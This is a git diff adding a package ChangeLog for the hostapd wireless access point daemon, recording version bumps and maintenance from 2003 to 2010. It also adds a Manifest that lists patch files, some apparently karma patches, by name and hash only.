+ Stable on amd64 wrt bug #360997
+
+*hostapd-0.7.3 (08 Sep 2010)
+
+ 08 Sep 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -hostapd-0.6.8.ebuild, -hostapd-0.6.10.ebuild, -hostapd-0.7.2.ebuild,
+ +hostapd-0.7.3.ebuild:
+ Bumping to 0.7.3 and removing old versions.
+ This version is the first in the 0.7 stable series from upstream.
+
+*hostapd-0.7.2 (23 May 2010)
+
+ 23 May 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -hostapd-0.7.1.ebuild, +hostapd-0.7.2.ebuild:
+ Bumping to 0.7.2, fixing bug #319923
+
+*hostapd-0.7.1 (24 Jan 2010)
+
+ 24 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -hostapd-0.7.0.ebuild, -files/hostapd-0.7.0-fix_linking.patch,
+ +hostapd-0.7.1.ebuild:
+ Bumping to 0.7.1 , fixing bugs #301540 and #301542
+
+*hostapd-0.7.0 (16 Jan 2010)
+
+ 16 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ +hostapd-0.7.0.ebuild, +files/hostapd-0.7.0-fix_linking.patch,
+ metadata.xml:
+ Bumping to 0.7.0
+
+*hostapd-0.6.10 (14 Jan 2010)
+
+ 14 Jan 2010; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.8.ebuild, -files/hostapd-0.6.8-conf.d,
+ -files/hostapd-0.6.8-init.d, hostapd-0.6.9.ebuild,
+ -files/hostapd-0.6.9-conf.d, -files/hostapd-0.6.9-init.d,
+ +hostapd-0.6.10.ebuild, +files/hostapd-conf.d, +files/hostapd-init.d:
+ Bumping to 0.6.10 and removing redundant init.d and conf.d files
+
+ 11 Sep 2009; Diego E. Pettenò <flameeyes@gentoo.org>
+ hostapd-0.6.8.ebuild, hostapd-0.6.9.ebuild:
+ Fix RDEPEND assignment that nilled the runtime dependencies.
+
+ 24 May 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.9.ebuild:
+ amd64/x86 stable, bug #270148
+
+ 21 May 2009; Brent Baude <ranger@gentoo.org> hostapd-0.6.9.ebuild:
+ stable ppc, bug 270148
+
+ 17 May 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ files/hostapd-0.6.8-init.d, files/hostapd-0.6.9-init.d:
+ Fixing init script, so it is POSIX compliant, fixing bug #269063
+
+ 16 Apr 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.9.ebuild:
+ Porting ebuild to EAPI 2
+
+ 05 Apr 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.5.10-conf.d, -files/hostapd-0.5.10-init.d,
+ -hostapd-0.5.10.ebuild:
+ Removing 0.5.10, since it has been superseeded by 0.6.8
+
+ 04 Apr 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.8.ebuild:
+ amd64/x86 stable, bug #263673
+
+ 24 Mar 2009; Joseph Jezak <josejx@gentoo.org> hostapd-0.6.8.ebuild:
+ Marked ppc stable for bug #263673.
+
+*hostapd-0.6.9 (25 Mar 2009)
+
+ 25 Mar 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.7-conf.d, -files/hostapd-0.6.7-init.d,
+ +files/hostapd-0.6.9-conf.d, +files/hostapd-0.6.9-init.d,
+ -hostapd-0.6.7.ebuild, +hostapd-0.6.9.ebuild:
+ Bumping to 0.6.9 and removing 0.6.7
+
+ 27 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild:
+ Added info regarding madwifi and wme_enabled
+
+ 27 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild:
+ Adding support for 802.11n and removing stable flags from 0.6.7, since it
+ is still from the development branch.
+
+ 25 Feb 2009; Markus Meier <maekke@gentoo.org> hostapd-0.6.7.ebuild:
+ amd64/x86 stable, bug #259285
+
+*hostapd-0.6.8 (16 Feb 2009)
+
+ 16 Feb 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ +files/hostapd-0.6.8-conf.d, +files/hostapd-0.6.8-init.d,
+ +hostapd-0.6.8.ebuild:
+ Bumping to 0.6.8
+
+*hostapd-0.6.7 (06 Jan 2009)
+
+ 06 Jan 2009; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.6-conf.d, -files/hostapd-0.6.6-init.d,
+ +files/hostapd-0.6.7-conf.d, +files/hostapd-0.6.7-init.d, metadata.xml,
+ -hostapd-0.6.6.ebuild, +hostapd-0.6.7.ebuild:
+ Bumping to 0.6.7 and adding WPS support to the ebuild
+
+ 29 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.6.ebuild:
+ Fixing typo in version check reported by Jackie
+
+*hostapd-0.6.6 (14 Dec 2008)
+
+ 14 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.5-conf.d, -files/hostapd-0.6.5-init.d,
+ +files/hostapd-0.6.6-conf.d, +files/hostapd-0.6.6-init.d,
+ -hostapd-0.6.5.ebuild, +hostapd-0.6.6.ebuild:
+ Bumping to 0.6.6
+
+*hostapd-0.6.5 (14 Dec 2008)
+
+ 14 Dec 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.4-conf.d, -files/hostapd-0.6.4-init.d,
+ +files/hostapd-0.6.5-conf.d, +files/hostapd-0.6.5-init.d,
+ -hostapd-0.6.4.ebuild, +hostapd-0.6.5.ebuild:
+ Bumping to 0.6.5 and removing broken nl80211 check
+
+ 23 Aug 2008; Doug Goldstein <cardoe@gentoo.org> metadata.xml:
+ add GLEP 56 USE flag desc from use.local.desc
+
+ 20 Aug 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.4.9-conf.d, -files/hostapd-0.4.9-init.d,
+ -hostapd-0.4.9.ebuild:
+ Removing 0.4.9, since it has been out of development for a long time, and
+ 0.5.10 finally is stable
+
+ 20 Aug 2008; Markus Meier <maekke@gentoo.org> hostapd-0.5.10.ebuild:
+ amd64/x86 stable, bug #234503
+
+ 12 Aug 2008; Brent Baude <ranger@gentoo.org> hostapd-0.5.10.ebuild:
+ stable ppc, bug 234503
+
+*hostapd-0.6.4 (11 Aug 2008)
+
+ 11 Aug 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.3-conf.d, -files/004-nl80211-rename-STAT-to-INFO.patch,
+ -files/hostapd-0.6.3-init.d, +files/hostapd-0.6.4-conf.d,
+ +files/hostapd-0.6.4-init.d, metadata.xml, -hostapd-0.6.3-r1.ebuild,
+ +hostapd-0.6.4.ebuild:
+ Bumping to version 0.6.4 and adding use flag info to metadata.xml
+
+ 11 Jul 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.3-r1.ebuild:
+ Added note about kernel missing patch with download link
+
+*hostapd-0.6.3-r1 (05 Jun 2008)
+
+ 05 Jun 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ +files/004-nl80211-rename-STAT-to-INFO.patch, -hostapd-0.6.3.ebuild,
+ +hostapd-0.6.3-r1.ebuild:
+ Bumping to 0.6.3-r1, finally adding support for nl80211.
+
+ 03 Jun 2008; Michael Sterrett <mr_bones_@gentoo.org> hostapd-0.4.9.ebuild,
+ hostapd-0.5.10.ebuild, hostapd-0.6.3.ebuild:
+ remove reference to old, removed net-wireless/madwifi-ng
+
+*hostapd-0.5.10 (15 May 2008)
+
+ 15 May 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.5.8-conf.d, -files/hostapd-0.5.8-init.d,
+ +files/hostapd-0.5.10-conf.d, +files/hostapd-0.5.10-init.d,
+ -hostapd-0.5.8.ebuild, +hostapd-0.5.10.ebuild:
+ Bumping to version 0.5.10
+
+*hostapd-0.6.3 (11 Mar 2008)
+
+ 11 Mar 2008; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.1-conf.d, -files/hostapd-0.6.1-init.d,
+ +files/hostapd-0.6.3-conf.d, +files/hostapd-0.6.3-init.d,
+ -hostapd-0.6.1.ebuild, +hostapd-0.6.3.ebuild:
+ Bumping to version 0.6.3
+
+*hostapd-0.6.1 (10 Dec 2007)
+
+ 10 Dec 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.6.0-conf.d, -files/hostapd-0.6.0-init.d,
+ +files/hostapd-0.6.1-conf.d, +files/hostapd-0.6.1-init.d,
+ -hostapd-0.6.0.ebuild, +hostapd-0.6.1.ebuild:
+ Bumping to version 0.6.1
+
+ 10 Sep 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ hostapd-0.6.0.ebuild:
+ Removed support for mac80211 since it is broken for now
+
+ 19 Jun 2007; Stefan Schweizer <genstef@gentoo.org> hostapd-0.4.9.ebuild,
+ hostapd-0.5.8.ebuild, hostapd-0.6.0.ebuild:
+ New madwifi-ng-tools depends thanks to Gordon Malm
+ <bugs-gentoo-org-01@bumpin.org> in bug 179348
+
+*hostapd-0.5.8 (06 Jun 2007)
+
+ 06 Jun 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.5.7-conf.d, -files/hostapd-0.5.7-init.d,
+ +files/hostapd-0.5.8-conf.d, +files/hostapd-0.5.8-init.d,
+ -hostapd-0.5.7.ebuild, +hostapd-0.5.8.ebuild:
+ Bumping to version 0.5.8 and removing 0.5.7
+
+*hostapd-0.6.0 (06 Jun 2007)
+
+ 06 Jun 2007; Bjarke Istrup Pedersen <gurligebis@gentoo.org>
+ -files/hostapd-0.4.7-conf.d, -files/hostapd-0.4.7-init.d,
+ -files/hostapd-0.4.8-conf.d, -files/hostapd-0.4.8-init.d,
+ -files/hostapd-0.5.2-conf.d, -files/hostapd-0.5.2-init.d,
+ -files/hostapd-0.5.2-ssl.patch, -files/hostapd-0.5.3-conf.d,
+ -files/hostapd-0.5.3-init.d, -files/hostapd-0.5.3-os_get_random.patch,
+ -files/hostapd-0.5.4-conf.d, -files/hostapd-0.5.4-init.d,
+ +files/hostapd-0.6.0-conf.d, +files/hostapd-0.6.0-init.d, metadata.xml,
+ +hostapd-0.6.0.ebuild:
+ Bumping to version 0.6.0, removed stalled files and added myself as maintainer
+
+ 11 Mar 2007; Petteri Räty <betelgeuse@gentoo.org> metadata.xml:
+ Fix metadata.xml white space.
+
+ 11 Mar 2007; Petteri Räty <betelgeuse@gentoo.org> hostapd-0.4.9.ebuild,
+ hostapd-0.5.7.ebuild:
+ Fix ROOT usage wrt bug #168039.
+
+*hostapd-0.5.7 (10 Feb 2007)
+
+ 10 Feb 2007; Christian Heim <phreak@gentoo.org>
+ +files/hostapd-0.5.7-conf.d, +files/hostapd-0.5.7-init.d,
+ +hostapd-0.5.7.ebuild:
+ Version bump, thanks to Conrad Kostecki <ConiKost at gmx.de> in #150769.
+
+ 10 Sep 2006; Bryan Østergaard <kloeri@gentoo.org> metadata.xml:
+ Remove brix from metadata.xml.
+
+ 03 Sep 2006; Michael Hanselmann <hansmi@gentoo.org> hostapd-0.4.9.ebuild:
+ Stable on ppc.
+
+ 26 Jun 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.9.ebuild:
+ Stable on x86.
+
+*hostapd-0.5.4 (21 Jun 2006)
+
+ 21 Jun 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.4-conf.d, +files/hostapd-0.5.4-init.d,
+ +hostapd-0.5.4.ebuild:
+ New developer snapshot.
+
+*hostapd-0.4.9 (27 May 2006)
+
+ 27 May 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.9-conf.d, +files/hostapd-0.4.9-init.d,
+ +hostapd-0.4.9.ebuild:
+ Version bump.
+
+*hostapd-0.5.3 (29 Apr 2006)
+
+ 29 Apr 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.3-conf.d, +files/hostapd-0.5.3-init.d,
+ +files/hostapd-0.5.3-os_get_random.patch, +hostapd-0.5.3.ebuild:
+ New development snapshot.
+
+ 14 Apr 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild,
+ hostapd-0.5.2.ebuild:
+ Updated madwifi dependencies.
+
+ 26 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/hostapd-0.5.0-conf.d, -files/hostapd-0.5.0-init.d,
+ -files/hostapd-0.5.1-conf.d, -files/hostapd-0.5.1-init.d,
+ +files/hostapd-0.5.2-ssl.patch, -hostapd-0.4.7-r1.ebuild,
+ -hostapd-0.5.0.ebuild, -hostapd-0.5.0-r1.ebuild, -hostapd-0.5.1.ebuild,
+ hostapd-0.5.2.ebuild:
+ Fix compilation with USE=-ssl, thanks to langthang in bug #127598. Pruned
+ old ebuilds.
+
+*hostapd-0.5.2 (20 Mar 2006)
+
+ 20 Mar 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.2-conf.d, +files/hostapd-0.5.2-init.d,
+ +hostapd-0.5.2.ebuild:
+ New development snapshot.
+
+ 15 Mar 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild:
+ Stable on x86.
+
+ 27 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.4.8.ebuild,
+ hostapd-0.5.0.ebuild, hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild:
+ Fix madwifi compilation with ROOT != "/".
+
+ 19 Feb 2006; Michael Hanselmann <hansmi@gentoo.org>
+ hostapd-0.4.7-r2.ebuild:
+ Stable on ppc.
+
+ 16 Feb 2006; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.5.0.ebuild,
+ hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild:
+ Fix building with USE=-ssl. Thanks to langthang in bug #122987.
+
+*hostapd-0.4.8 (14 Feb 2006)
+
+ 14 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.8-conf.d, +files/hostapd-0.4.8-init.d,
+ +hostapd-0.4.8.ebuild:
+ New stable release from upstream. Backported madwifi support from 0.5.x
+ ebuilds.
+
+ 13 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ hostapd-0.4.7-r2.ebuild:
+ Stable on x86.
+
+ 03 Feb 2006; Henrik Brix Andersen <brix@gentoo.org>
+ -files/hostapd-0.3.9-conf.d, -files/hostapd-0.3.9-init.d,
+ -files/hostapd-0.4.5-conf.d, -files/hostapd-0.4.5-init.d,
+ -files/hostapd-0.4.5-prism54.patch, -files/hostapd-0.4.6-conf.d,
+ -files/hostapd-0.4.6-init.d, -files/hostapd.init.d, -hostapd-0.4.5.ebuild,
+ -hostapd-0.4.6.ebuild, -hostapd-0.4.7.ebuild:
+ Pruned old ebuilds.
+
+*hostapd-0.5.1 (30 Jan 2006)
+
+ 30 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.1-conf.d, +files/hostapd-0.5.1-init.d,
+ +hostapd-0.5.1.ebuild:
+ New development snapshot.
+
+*hostapd-0.5.0-r1 (09 Jan 2006)
+*hostapd-0.4.7-r2 (09 Jan 2006)
+
+ 09 Jan 2006; Henrik Brix Andersen <brix@gentoo.org>
+ files/hostapd-0.4.7-init.d, files/hostapd-0.5.0-init.d,
+ +hostapd-0.4.7-r2.ebuild, +hostapd-0.5.0-r1.ebuild:
+ Fix init scripts to work with baselayout-1.12.0_rcX.
+
+ 02 Jan 2006; Michael Hanselmann <hansmi@gentoo.org>
+ hostapd-0.4.7-r1.ebuild:
+ Stable on ppc.
+
+ 30 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+ hostapd-0.4.7-r1.ebuild:
+ Stable on x86.
+
+*hostapd-0.4.7-r1 (30 Dec 2005)
+
+ 30 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +hostapd-0.4.7-r1.ebuild:
+ Added version without madwifi support in preparation for marking it stable
+ on x86.
+
+ 24 Dec 2005; Michael Hanselmann <hansmi@gentoo.org>
+ hostapd-0.3.9-r1.ebuild:
+ Stable on ppc.
+
+*hostapd-0.5.0 (20 Dec 2005)
+
+ 20 Dec 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.5.0-conf.d, +files/hostapd-0.5.0-init.d,
+ +hostapd-0.5.0.ebuild:
+ New development snapshot.
+
+*hostapd-0.4.7 (21 Nov 2005)
+
+ 21 Nov 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.7-conf.d, +files/hostapd-0.4.7-init.d,
+ +hostapd-0.4.7.ebuild:
+ First release of new stable branch.
+
+*hostapd-0.4.6 (29 Oct 2005)
+
+ 29 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.6-conf.d, +files/hostapd-0.4.6-init.d,
+ +hostapd-0.4.6.ebuild:
+ New development release.
+
+ 22 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ -files/hostapd-0.4.3-conf.d, -files/hostapd-0.4.3-init.d,
+ -files/hostapd-0.4.4-conf.d, -files/hostapd-0.4.4-init.d,
+ -hostapd-0.4.3.ebuild, -hostapd-0.4.4.ebuild, -hostapd-0.4.4-r1.ebuild:
+ Pruned old versions.
+
+*hostapd-0.4.5 (17 Oct 2005)
+
+ 17 Oct 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.5-conf.d, +files/hostapd-0.4.5-init.d,
+ +files/hostapd-0.4.5-prism54.patch, +hostapd-0.4.5.ebuild:
+ New development snapshot, bug #108319.
+
+ 17 Sep 2005; Simon Stelling <blubb@gentoo.org> hostapd-0.4.4-r1.ebuild:
+ added ~amd64 keyword
+
+*hostapd-0.4.4-r1 (22 Aug 2005)
+
+ 22 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+ files/hostapd-0.4.4-init.d, +hostapd-0.4.4-r1.ebuild:
+ Install more example configuration files, use SIGHUP for reloading
+ configuration in init script.
+
+*hostapd-0.4.4 (22 Aug 2005)
+
+ 22 Aug 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +files/hostapd-0.4.4-conf.d, +files/hostapd-0.4.4-init.d,
+ +hostapd-0.4.4.ebuild:
+ New development snapshot. Compile against headers installed by
+ net-wireless/madwifi-driver instead of local snapshot.
+
+ 16 Aug 2005; Henrik Brix Andersen <brix@gentoo.org> ChangeLog:
+ Stable on x86.
+
+ 13 Jul 2005; <brix@gentoo.org> -files/hostapd-0.4.0-conf.d,
+ -files/hostapd-0.4.0-init.d, -files/hostapd-0.4.1-conf.d,
+ -files/hostapd-0.4.1-init.d, -files/hostapd-0.4.2-conf.d,
+ -files/hostapd-0.4.2-init.d, -hostapd-0.2.5.ebuild, -hostapd-0.2.6.ebuild,
+ -hostapd-0.3.9.ebuild, -hostapd-0.4.0-r1.ebuild, -hostapd-0.4.1.ebuild,
+ -hostapd-0.4.2.ebuild:
+ Pruned old ebuilds.
+
+ 08 Jul 2005; <brix@gentoo.org> hostapd-0.3.9.ebuild,
+ hostapd-0.3.9-r1.ebuild, hostapd-0.4.0-r1.ebuild, hostapd-0.4.1.ebuild,
+ hostapd-0.4.2.ebuild, hostapd-0.4.3.ebuild:
+ Fixed DEPEND/RDEPEND issue.
+
+*hostapd-0.4.3 (27 Jun 2005)
+
+ 27 Jun 2005; <brix@gentoo.org> +files/hostapd-0.4.3-conf.d,
+ +files/hostapd-0.4.3-init.d, +hostapd-0.4.3.ebuild:
+ New development snapshot.
+
+ 27 Jun 2005; David Holm <dholm@gentoo.org> hostapd-0.3.7.ebuild:
+ Stable on ppc.
+
+*hostapd-0.3.9-r1 (13 Jun 2005)
+
+ 13 Jun 2005; <brix@gentoo.org> +files/hostapd-0.3.9-conf.d,
+ +files/hostapd-0.3.9-init.d, +hostapd-0.3.9-r1.ebuild:
+ Backported 0.4.x ebuild fixes to 0.3.9.
+
+*hostapd-0.4.2 (13 Jun 2005)
+
+ 13 Jun 2005; <brix@gentoo.org> +files/hostapd-0.4.2-conf.d,
+ +files/hostapd-0.4.2-init.d, +hostapd-0.4.2.ebuild:
+ New development release.
+
+*hostapd-0.3.9 (11 Jun 2005)
+
+ 11 Jun 2005; <brix@gentoo.org> +hostapd-0.3.9.ebuild:
+ New stable release.
+
+*hostapd-0.4.1 (23 May 2005)
+
+ 23 May 2005; <brix@gentoo.org> +files/hostapd-0.4.1-conf.d,
+ +files/hostapd-0.4.1-init.d, +hostapd-0.4.1.ebuild:
+ New development release.
+
+ 11 May 2005; <brix@gentoo.org> -hostapd-0.4.0.ebuild:
+ Removed old ebuild
+
+*hostapd-0.4.0-r1 (29 Apr 2005)
+
+ 29 Apr 2005; <brix@gentoo.org> +files/hostapd-0.4.0-conf.d,
+ +files/hostapd-0.4.0-init.d, +hostapd-0.4.0-r1.ebuild:
+ Install hostapd_cli and man pages, restructured init script.
+
+*hostapd-0.4.0 (27 Apr 2005)
+
+ 27 Apr 2005; <brix@gentoo.org> +hostapd-0.4.0.ebuild:
+ New development snapshot.
+
+ 16 Apr 2005; <brix@gentoo.org> hostapd-0.3.7.ebuild:
+ Stable on x86.
+
+ 13 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.3.5.ebuild,
+ -hostapd-0.3.7_pre.ebuild:
+ Pruned old versions.
+
+*hostapd-0.3.7 (13 Feb 2005)
+
+ 13 Feb 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.7.ebuild:
+ New stable version from upstream.
+
+*hostapd-0.3.7_pre (07 Feb 2005)
+
+ 07 Feb 2005; Henrik Brix Andersen <brix@gentoo.org>
+ +hostapd-0.3.7_pre.ebuild:
+ Added pre-release of 0.3.7 which is supposed to go stable soon, please test.
+
+ 25 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.2.4.ebuild,
+ -hostapd-0.3.0.ebuild, -hostapd-0.3.1.ebuild, -hostapd-0.3.2.ebuild,
+ -hostapd-0.3.3.ebuild, -hostapd-0.3.4.ebuild:
+ Pruned old versions.
+
+*hostapd-0.3.5 (24 Jan 2005)
+
+ 24 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.5.ebuild:
+ New development snapshot.
+
+ 18 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.2.4.ebuild,
+ hostapd-0.2.5.ebuild, hostapd-0.2.6.ebuild, hostapd-0.3.0.ebuild,
+ hostapd-0.3.1.ebuild, hostapd-0.3.2.ebuild, hostapd-0.3.3.ebuild,
+ hostapd-0.3.4.ebuild:
+ Removed hostap-driver dependency, fixes bug #78094.
+
+ 14 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.2.6.ebuild:
+ Stable on x86.
+
+*hostapd-0.3.4 (10 Jan 2005)
+
+ 10 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.4.ebuild:
+ New development version, bumped included madwifi-driver.
+
+*hostapd-0.3.3 (03 Jan 2005)
+
+ 03 Jan 2005; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.3.ebuild:
+ New development snapshot.
+
+*hostapd-0.2.6 (26 Dec 2004)
+
+ 26 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.6.ebuild:
+ Version bump.
+
+*hostapd-0.3.2 (20 Dec 2004)
+
+ 20 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.2.ebuild:
+ Added new development snapshot.
+
+*hostapd-0.3.1 (13 Dec 2004)
+
+ 13 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.1.ebuild:
+ Version bump (development snapshot)
+
+*hostapd-0.3.0 (12 Dec 2004)
+
+ 12 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.3.0.ebuild:
+ Version bump. Please note that version 0.3.0 is a development snapshot.
+
+ 12 Dec 2004; Daniel Black <dragonheart@gentoo.org> hostapd-0.2.5.ebuild:
+ ppc stable as per bug #74117. Changed DEPEND on kernel modules to a RDEPEND.
+
+ 10 Dec 2004; Henrik Brix Andersen <brix@gentoo.org> -hostapd-0.1.0.ebuild,
+ -hostapd-0.1.3.ebuild:
+ Pruned ancient versions.
+
+ 27 Nov 2004; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.2.5.ebuild:
+ mark stable on x86
+
+ 01 Nov 2004; Henrik Brix Andersen <brix@gentoo.org> hostapd-0.1.0.ebuild,
+ hostapd-0.1.3.ebuild, hostapd-0.2.4.ebuild, hostapd-0.2.5.ebuild:
+ Use tc-getCC() from toolchain-funcs.eclass, fixes bug #69282.
+
+*hostapd-0.2.5 (25 Oct 2004)
+
+ 25 Oct 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.5.ebuild:
+ Version bump. Cleaned up ebuild.
+
+*hostapd-0.2.4 (14 Sep 2004)
+
+ 14 Sep 2004; Henrik Brix Andersen <brix@gentoo.org> +hostapd-0.2.4.ebuild:
+ Bump. Ebuild by latexer@gentoo.org.
+
+*hostapd-0.1.3 (09 Feb 2004)
+
+ 09 Feb 2004; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.3.ebuild:
+ Version bump
+
+ 16 Dec 2003; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.0.ebuild:
+ mark stable on x86
+
+ 11 Nov 2003; Peter Johanson <latexer@gentoo.org> metadata.xml:
+ Added to the new "mobile" herd.
+
+*hostapd-0.1.0 (21 Oct 2003)
+
+ 21 Oct 2003; Wolfram Schlich <wschlich@gentoo.org> hostapd-0.1.0.ebuild,
+ metadata.xml:
+ Initial import
+
diff --git a/net-wireless/hostapd/Manifest b/net-wireless/hostapd/Manifest
new file mode 100644
index 00000000..b2423470
--- /dev/null
+++ b/net-wireless/hostapd/Manifest
@@ -0,0 +1,14 @@
+AUX cui-20120417.patch 13221 SHA256 b853484cd5d3e89e4eb96be3edf0bedef01922e74cd87578c6a2faf647f3180a SHA512 242f70701a59206ff980ff602e7d94f9a2afca7f4fbc2861086eb412863b3e7e73f76ea972a5ed24f7baf1810757add2a9839647fd605b94a1e6edbbeddc1452 WHIRLPOOL 02859bd43030a2df7fd12fc0952071b34e26ae718dfb568f2cefa52d0d69555033ed318784b2ffa9781a05b04913187d038ea24e30f74613907334dd7f5b77d8
+AUX cui-20120717.patch 12726 SHA256 ce24f99b5d45b78af750339ac8c05595b0faed7cecd99fa8e8072e65386d8e05 SHA512 23315310f21d15863aa5f01c907d23662023853732e45ae59d454cceda9dc3ab866df45712d6538978e8cb0c053955345b0714bf998961840d87553df985311b WHIRLPOOL 158d41102872aecc2ccb0cde2826cb76041f36f360a2a0f38a78ea87f8a540c5f3b688724f86199649ae5fa32e97ff8d8a92be67398e19d51f9ba363b540f511
+AUX hostapd-0.7.3-karma.patch 17778 SHA256 28b8963c836e0208d8f621c6345e27d66ad2a8df33eec99d2505fc7980019ee8 SHA512 c4a1231ae6ed613d3218bfb30c6a95f5cbcfc67371996522131cb4effb29c6fadf3b324ef2a308dab2046fa234ad86e9b0048a2f356f2a2b6413f5d22248830f WHIRLPOOL 5272fc3e1f4d9513562604c2f324aebbc38d8ff83e4bcca5cc79ab27c35475f7ffeabe780fd7fc73cf163cbe9536e8ca44b3b3996080926dcc11a97072cd7061
+AUX hostapd-1.0-karma-0.2.patch 39202 SHA256 ce40eb1f2a205ef9ec5d0ff87c9df85a86cb21cbe016a324a9bfddb728b57685 SHA512 94e8ea5a57859063c0b8c33709dcef72392c6b8e27c5003ed9217e9756ae39936348daf480fcf829f32ce56783fb817772425ba832f6adab7561a949ea3f6421 WHIRLPOOL c1827bc5ab346ff5249d2751090b953767a6e8696b60c03aefe578c4d5bf9e990426acecbca2f7d67d1e151262ce3ea994704789b7522e365b3a1678dbb41c79
+AUX hostapd-1.0-karma.patch 15724 SHA256 9f4d853c2974607aed7accb5785df224e3abdce4baf4dee787ca45421c85ec87 SHA512 694e8e03db5e3577359b0cc5c530ef528dd2bbeb64351060113fe67ee4446495999330edc5f38c3206c8525c5f401e35ca8a3c0f372f5c8e3205172680cf7fd9 WHIRLPOOL 36f6a45310a642fb2b1c2225d560ac85b1c08074c08108682fbb638ad27f8d01858ba48a2b64ffaa01832a52185afe5c39b521635b8767abdfaefb6c84a0a903
+AUX hostapd-1.0-libnl_path_fix.patch 892 SHA256 7ec9489fed14b7f3916d0aab63e34886bcf39d07c257101df53e16ef4db2b95d SHA512 10b1db56ec2bb8a2ab04dcd50b5a0442efdd4814ef6a4effc50d0157d61fc993ebb6f2f6775566fc0341668ad314dd2d4ec4e91177d59d76c59b8ceb2bf4c2f4 WHIRLPOOL ae16d72eb649d7267191a2542c204da92493279f3d09dc9de4349ca4a8db9d7e5f46d3d824e4b22900ad257e1bdcf86b26fb46eee63cbb8af48bd739b0d27ea0
+AUX hostapd-1.0-tls_length_fix.patch 1859 SHA256 bbca0422a0babbf9d7fad2b758ecddaae45624db1b2db6d7663292548e25906a SHA512 e354e9352605003101cba296735232d11ac685f1db8718e5d59b55de1b86b55144e4871afe85cae4374f52af1b42df3ebd4747e109c86e0750ef9eb5345453d7 WHIRLPOOL 6a9379b09ffb73d13ea813952e2b39b5ab90ec98a27ed211ff2904d52e346c9e6273fe99e8ae6509773597afa352d9e77f3081103c5e5c55c86e12f8176a5419
